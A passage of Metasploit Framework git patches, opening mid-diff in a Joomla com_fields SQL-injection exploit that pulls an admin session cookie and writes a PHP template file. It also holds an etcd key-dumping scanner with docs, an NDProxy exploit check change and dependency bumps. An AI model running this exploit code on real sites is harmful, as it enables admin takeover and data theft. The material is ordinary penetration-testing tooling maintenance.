rand_text_alpha(3) + fin_h = fin.unpack('H*')[0] + + sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))" end + # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "index.php"), + 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'option' => 'com_fields', 'view' => 'fields', @@ -84,39 +92,37 @@ class MetasploitModule < Msf::Exploit::Remote } }) - return res - + if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/ + return $1 + end + return nil end def exploit - # Request using a non-existing table first, to retrieve the table prefix - res = sqli(rand_text_alphanumeric(rand(10)+6), 'check') - - if res && res.code == 500 && res.body =~ /qpqjq(.*)qqqqq/ - - table_prefix = Base64.decode64($1) + val = sqli(rand_text_alphanumeric(rand(10)+6), 'check') + if val.nil? + fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") + else + table_prefix = Base64.decode64(val) table_prefix.sub! '_session', '' print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") - else - fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") end # Retrieve the admin session using our retrieved table prefix - res = sqli("#{table_prefix}_", 'exploit') - - if res && res.code == 500 && res.body =~ /qqq(.*)qqq/ - auth_cookie_part = $1 - print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") + val = sqli("#{table_prefix}_", 'exploit') + if val.nil? + fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!") else - fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!") + auth_cookie_part = val + print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]") end # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "administrator", "index.php") + 'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php') }) if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ @@ -139,13 +145,12 @@ class MetasploitModule < Msf::Exploit::Remote 'cookie' => auth_cookie }) - if res && res.code == 200 && res.body =~ /Control Panel - Joomla - Administration/ - print_good("#{peer} - Successfully authenticated as Administrator") + if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/ + print_good("#{peer} - Successfully authenticated") else fail_with(Failure::Unknown, "#{peer} - Session failure") end - # Retrieve template view res = send_request_cgi({ 'method' => 'GET', @@ -194,8 +199,6 @@ class MetasploitModule < Msf::Exploit::Remote } }) - - # Grab token if res && res.code == 303 && res.headers['Location'] location = res.headers['Location'] @@ -262,6 +265,5 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"), 'cookie' => auth_cookie }) - end end From e7f9d789eb4f9575de6a9ba304a7442aa2ff6290 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 28 Mar 2018 09:25:51 -0700 Subject: [PATCH 095/105] Add docker docs for etcd --- .../scanner/etcd/open_key_scanner.md | 48 ++++++++++++++++++- 1 file changed, 46 insertions(+), 2 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md index a5811b0834..6dfdff6434 100644 --- a/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md +++ b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md @@ -11,6 +11,10 @@ unauthenticated users access to the data stored via HTTP API. 4. On Centos 7.1 you need to mod (or disable) the firewall: `systemctl stop firewalld` 5. Lastly, lets add a key-value for interest: `curl http://[IP]:2379/v2/keys/supersecret -XPUT -d value="password!"` +### Docker + + 1. `docker run -p 2379:2379 miguelgrinberg/easy-etcd` + ## Verification Steps 1. Install the application @@ -25,12 +29,12 @@ unauthenticated users access to the data stored via HTTP API. ### etcd 3.2.15 on CentOS 7.1 ``` -msf5 > use auxiliary/scanner/etcd/open_key_scanner +msf5 > use auxiliary/scanner/etcd/open_key_scanner msf5 auxiliary(scanner/etcd/open_key_scanner) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 msf5 auxiliary(scanner/etcd/open_key_scanner) > run -[+] 2.2.2.2:2379 +[+] 2.2.2.2:2379 Version: {"etcdserver":"3.2.15","etcdcluster":"3.2.0"} Data: { "action": "get", @@ -62,3 +66,43 @@ host port proto name state info ---- ---- ----- ---- ----- ---- 2.2.2.2 2379 tcp etcd open {"etcdserver":"3.2.15","etcdcluster":"3.2.0"} ``` + +### etcd in Docker + +``` +msf5 > use auxiliary/scanner/etcd/open_key_scanner +msf5 auxiliary(scanner/etcd/open_key_scanner) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf5 auxiliary(scanner/etcd/open_key_scanner) > run + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf5 auxiliary(scanner/etcd/open_key_scanner) > run + +[+] 127.0.0.1:2379 +Version: {"etcdserver":"3.1.3","etcdcluster":"3.1.0"} +Data: { + "action": "get", + "node": { + "dir": true + } +} +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf5 auxiliary(scanner/etcd/open_key_scanner) > loot + +Loot +==== + +host service type name content info path +---- ------- ---- ---- ------- ---- ---- +127.0.0.1 etcd.data etcd.keys text/json etcd keys /Users/jhart/.msf4/loot/20180328092245_default_127.0.0.1_etcd.data_260058.txt + +msf5 auxiliary(scanner/etcd/open_key_scanner) > services +Services +======== + +host port proto name state info +---- ---- ----- ---- ----- ---- +127.0.0.1 2379 tcp etcd open {"etcdserver":"3.1.3","etcdcluster":"3.1.0"} +``` From 7767505678d5a9bcd007a5d5dcff6b6bf773fefa Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 28 Mar 2018 09:31:50 -0700 Subject: [PATCH 096/105] Fix some style issues --- .../scanner/etcd/open_key_scanner.rb | 46 ++++++++++--------- 1 file changed, 24 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/scanner/etcd/open_key_scanner.rb b/modules/auxiliary/scanner/etcd/open_key_scanner.rb index 39ca1dac7f..7c24d1e7c3 100644 --- a/modules/auxiliary/scanner/etcd/open_key_scanner.rb +++ b/modules/auxiliary/scanner/etcd/open_key_scanner.rb @@ -11,34 +11,36 @@ class MetasploitModule < Msf::Auxiliary def initialize super( 'Name' => 'Etcd Keys API Information Gathering', - 'Description' => %q{ + 'Description' => %q( This module queries the etcd API to recursively retrieve all of the stored key value pairs. Etcd by default does not utilize authentication. - }, + ), 'References' => [ - ['URL', 'https://elweb.co/the-security-footgun-in-etcd'] - ], + ['URL', 'https://elweb.co/the-security-footgun-in-etcd'] + ], 'Author' => [ - 'Giovanni Collazo ', # discovery - 'h00die' # msf module - ], + 'Giovanni Collazo ', # discovery + 'h00die' # msf module + ], 'License' => MSF_LICENSE ) - register_options([ - Opt::RPORT(2379), - OptString.new('TARGETURI', [ true, 'URI of the vulnerable service', '/']) - ]) + register_options( + [ + Opt::RPORT(2379), + OptString.new('TARGETURI', [true, 'URI of the vulnerable service', '/']) + ] + ) end def run_host(target_host) path = normalize_uri(target_uri.to_s, 'v2/keys/?recursive=true') vprint_status("#{peer} - Collecting data through #{path}...") - res = send_request_raw({ + res = send_request_raw( 'uri' => path, 'method' => 'GET' - }) + ) # parse the json if we got a good request back if res && res.code == 200 @@ -47,22 +49,22 @@ class MetasploitModule < Msf::Auxiliary store_loot('etcd.data', 'text/json', rhost, response, 'etcd.keys', 'etcd keys') # since we know its vulnerable, go ahead and pull the version information - res = send_request_raw({ + res = send_request_raw( 'uri' => normalize_uri(target_uri.to_s, 'version'), 'method' => 'GET' - }) + ) banner = '' if res && res.code == 200 banner = res.body end - report_service({ - :host => rhost, - :port => rport, - :name => 'etcd', - :proto => 'tcp', - :info => banner - }) + report_service( + host: rhost, + port: rport, + name: 'etcd', + proto: 'tcp', + info: banner + ) rescue JSON::ParserError => e print_error("Failed to read JSON: #{e.class} - #{e.message}}") return From 5cdfadd0df29722f91a8daf7b59a7904df318359 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 28 Mar 2018 09:38:02 -0700 Subject: [PATCH 097/105] Fix more style issues --- modules/auxiliary/scanner/etcd/open_key_scanner.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/etcd/open_key_scanner.rb b/modules/auxiliary/scanner/etcd/open_key_scanner.rb index 7c24d1e7c3..898a8e7207 100644 --- a/modules/auxiliary/scanner/etcd/open_key_scanner.rb +++ b/modules/auxiliary/scanner/etcd/open_key_scanner.rb @@ -10,19 +10,19 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Etcd Keys API Information Gathering', + 'Name' => 'Etcd Keys API Information Gathering', 'Description' => %q( This module queries the etcd API to recursively retrieve all of the stored key value pairs. Etcd by default does not utilize authentication. ), - 'References' => [ + 'References' => [ ['URL', 'https://elweb.co/the-security-footgun-in-etcd'] ], - 'Author' => [ + 'Author' => [ 'Giovanni Collazo ', # discovery 'h00die' # msf module ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE ) register_options( @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary ) end - def run_host(target_host) + def run_host(_target_host) path = normalize_uri(target_uri.to_s, 'v2/keys/?recursive=true') vprint_status("#{peer} - Collecting data through #{path}...") From e01679d3740d7f105c72ad7ea2c57fa88b51c0cb Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 28 Mar 2018 09:55:05 -0700 Subject: [PATCH 098/105] Use common path in etcd docs --- .../modules/auxiliary/scanner/etcd/open_key_scanner.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md index 6dfdff6434..e2955483de 100644 --- a/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md +++ b/documentation/modules/auxiliary/scanner/etcd/open_key_scanner.md @@ -96,7 +96,7 @@ Loot host service type name content info path ---- ------- ---- ---- ------- ---- ---- -127.0.0.1 etcd.data etcd.keys text/json etcd keys /Users/jhart/.msf4/loot/20180328092245_default_127.0.0.1_etcd.data_260058.txt +127.0.0.1 etcd.data etcd.keys text/json etcd keys /root/.msf4/loot/20180328092245_default_127.0.0.1_etcd.data_260058.txt msf5 auxiliary(scanner/etcd/open_key_scanner) > services Services From 3aac041dcf8fbd2eb549e1783e36800e8af468ea Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 29 Mar 2018 12:03:33 +0000 Subject: [PATCH 099/105] Return CheckCode::Safe for unsupported x64 systems --- modules/exploits/windows/local/ms_ndproxy.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index df3ba1dd1f..50365f738a 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -156,7 +156,8 @@ class MetasploitModule < Msf::Exploit::Local def check if sysinfo['Architecture'] == ARCH_X64 - return Exploit::CheckCode::Detected + vprint_error 'Running against 64-bit systems is not supported' + return CheckCode::Safe end handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3) From d446a24d0caeba819c6c6149cf3630037851560c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 29 Mar 2018 10:06:55 -0700 Subject: [PATCH 100/105] Weekly dependency update --- Gemfile.lock | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/Gemfile.lock b/Gemfile.lock index 258daab5cb..dd13deaf81 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -133,16 +133,40 @@ GEM multipart-post (>= 1.2, < 3) filesize (0.1.1) fivemat (1.3.6) + google-protobuf (3.5.1) + googleapis-common-protos-types (1.0.1) + google-protobuf (~> 3.0) + googleauth (0.6.2) + faraday (~> 0.12) + jwt (>= 1.4, < 3.0) + logging (~> 2.0) + memoist (~> 0.12) + multi_json (~> 1.11) + os (~> 0.9) + signet (~> 0.7) + grpc (1.8.3) + google-protobuf (~> 3.1) + googleapis-common-protos-types (~> 1.0.0) + googleauth (>= 0.5.1, < 0.7) hashery (2.1.2) i18n (0.9.5) concurrent-ruby (~> 1.0) jsobfu (0.4.2) rkelly-remix json (2.1.0) + jwt (2.1.0) + little-plugger (1.1.4) + logging (2.2.2) + little-plugger (~> 1.1) + multi_json (~> 1.10) loofah (2.2.2) crass (~> 1.0.2) nokogiri (>= 1.5.9) + memoist (0.16.0) metasm (1.0.3) + metasploit-aggregator (1.0.0) + grpc + rex-arch metasploit-concern (2.0.5) activemodel (~> 4.2.6) activesupport (~> 4.2.6) @@ -178,6 +202,7 @@ GEM minitest (5.11.3) mqtt (0.5.0) msgpack (1.2.4) + multi_json (1.13.1) multipart-post (2.0.0) nessus_rest (0.1.6) net-ssh (4.2.0) @@ -189,6 +214,7 @@ GEM sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) + os (0.9.6) packetfu (1.1.13) pcaprub patch_finder (1.0.2) @@ -313,6 +339,11 @@ GEM sawyer (0.8.1) addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 1.0) + signet (0.8.1) + addressable (~> 2.3) + faraday (~> 0.9) + jwt (>= 1.5, < 3.0) + multi_json (~> 1.10) simplecov (0.16.1) docile (~> 1.1) json (>= 1.8, < 3) @@ -350,6 +381,9 @@ PLATFORMS DEPENDENCIES factory_bot_rails fivemat + google-protobuf (= 3.5.1) + grpc (= 1.8.3) + metasploit-aggregator metasploit-framework! octokit pry From 3a266d93b699b2d37872e3f7c013a39e9c5f5639 Mon Sep 17 00:00:00 2001 From: zerosum0x0 Date: Thu, 29 Mar 2018 15:11:27 -0600 Subject: [PATCH 101/105] support for ARM --- lib/msf/core/exploit/smb/client/psexec_ms17_010.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index a5454fe5af..e04f010393 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -298,7 +298,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010 def fingerprint_os(os) print_status("Target OS: #{os}") - if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012' + if os.starts_with? 'Windows 10' or os.starts_with? 'Windows Server 2016' or os.starts_with? 'Windows 8' or os.starts_with? 'Windows Server 2012' or os.starts_with? 'Windows RT 9200' @ctx['os'] = 'WIN8' @ctx['go_fish'] = false elsif os.starts_with? 'Windows 7 ' or os.starts_with? 'Windows Server 2008 R2' From 6a6824efe958887b27664f72c6421e70681e6643 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Fri, 30 Mar 2018 12:47:19 +0200 Subject: [PATCH 102/105] bump to ruby 2.5.1 --- .ruby-version | 2 +- .travis.yml | 2 +- Dockerfile | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.ruby-version b/.ruby-version index 437459cd94..73462a5a13 100644 --- a/.ruby-version +++ b/.ruby-version @@ -1 +1 @@ -2.5.0 +2.5.1 diff --git a/.travis.yml b/.travis.yml index 3e9f416146..5942a0ed47 100644 --- a/.travis.yml +++ b/.travis.yml @@ -13,7 +13,7 @@ language: ruby rvm: - '2.3.6' - '2.4.3' - - '2.5.0' + - '2.5.1' env: - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"' diff --git a/Dockerfile b/Dockerfile index 404e1f4ee4..ddf88768b4 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM ruby:2.5.0-alpine3.7 +FROM ruby:2.5.1-alpine3.7 LABEL maintainer="Rapid7" ARG BUNDLER_ARGS="--jobs=8 --without development test coverage" From b27b1e6ff22be72edeb51355e2ac9ad2c1f2611f Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Fri, 30 Mar 2018 13:47:07 +0200 Subject: [PATCH 103/105] bump older rubies --- .travis.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 5942a0ed47..d16407093e 100644 --- a/.travis.yml +++ b/.travis.yml @@ -11,8 +11,8 @@ addons: - graphviz language: ruby rvm: - - '2.3.6' - - '2.4.3' + - '2.3.7' + - '2.4.4' - '2.5.1' env: From 3443d30ae3a03cda88cba945247750fde0f7ede8 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 30 Mar 2018 07:01:32 -0500 Subject: [PATCH 104/105] update gemfile.lock for Ruby 2.5.1 --- Gemfile.lock | 34 ---------------------------------- 1 file changed, 34 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index dd13deaf81..258daab5cb 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -133,40 +133,16 @@ GEM multipart-post (>= 1.2, < 3) filesize (0.1.1) fivemat (1.3.6) - google-protobuf (3.5.1) - googleapis-common-protos-types (1.0.1) - google-protobuf (~> 3.0) - googleauth (0.6.2) - faraday (~> 0.12) - jwt (>= 1.4, < 3.0) - logging (~> 2.0) - memoist (~> 0.12) - multi_json (~> 1.11) - os (~> 0.9) - signet (~> 0.7) - grpc (1.8.3) - google-protobuf (~> 3.1) - googleapis-common-protos-types (~> 1.0.0) - googleauth (>= 0.5.1, < 0.7) hashery (2.1.2) i18n (0.9.5) concurrent-ruby (~> 1.0) jsobfu (0.4.2) rkelly-remix json (2.1.0) - jwt (2.1.0) - little-plugger (1.1.4) - logging (2.2.2) - little-plugger (~> 1.1) - multi_json (~> 1.10) loofah (2.2.2) crass (~> 1.0.2) nokogiri (>= 1.5.9) - memoist (0.16.0) metasm (1.0.3) - metasploit-aggregator (1.0.0) - grpc - rex-arch metasploit-concern (2.0.5) activemodel (~> 4.2.6) activesupport (~> 4.2.6) @@ -202,7 +178,6 @@ GEM minitest (5.11.3) mqtt (0.5.0) msgpack (1.2.4) - multi_json (1.13.1) multipart-post (2.0.0) nessus_rest (0.1.6) net-ssh (4.2.0) @@ -214,7 +189,6 @@ GEM sawyer (~> 0.8.0, >= 0.5.3) openssl-ccm (1.2.1) openvas-omp (0.0.4) - os (0.9.6) packetfu (1.1.13) pcaprub patch_finder (1.0.2) @@ -339,11 +313,6 @@ GEM sawyer (0.8.1) addressable (>= 2.3.5, < 2.6) faraday (~> 0.8, < 1.0) - signet (0.8.1) - addressable (~> 2.3) - faraday (~> 0.9) - jwt (>= 1.5, < 3.0) - multi_json (~> 1.10) simplecov (0.16.1) docile (~> 1.1) json (>= 1.8, < 3) @@ -381,9 +350,6 @@ PLATFORMS DEPENDENCIES factory_bot_rails fivemat - google-protobuf (= 3.5.1) - grpc (= 1.8.3) - metasploit-aggregator metasploit-framework! octokit pry From 261828fcdac8173d761117348e745de6173f9d48 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Fri, 30 Mar 2018 10:04:30 -0500 Subject: [PATCH 105/105] disable aggregator for cross version compatibility --- Gemfile | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/Gemfile b/Gemfile index 597b281bd6..6619c1441a 100755 --- a/Gemfile +++ b/Gemfile @@ -19,21 +19,8 @@ group :development do # module documentation gem 'octokit' # Metasploit::Aggregator external session proxy - gem 'metasploit-aggregator' if [ - 'x86-mingw32', 'x64-mingw32', - 'x86_64-linux', 'x86-linux', - 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) && \ - Gem::Version.new(RUBY_VERSION) < Gem::Version.new('2.5.0') - gem 'google-protobuf', "3.5.1" if [ - 'x86-mingw32', 'x64-mingw32', - 'x86_64-linux', 'x86-linux', - 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) && \ - Gem::Version.new(RUBY_VERSION) < Gem::Version.new('2.5.0') - gem 'grpc', "1.8.3" if [ - 'x86-mingw32', 'x64-mingw32', - 'x86_64-linux', 'x86-linux', - 'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin')) && \ - Gem::Version.new(RUBY_VERSION) < Gem::Version.new('2.5.0') + # disabled during 2.5 transition until aggregator is available + #gem 'metasploit-aggregator' end group :development, :test do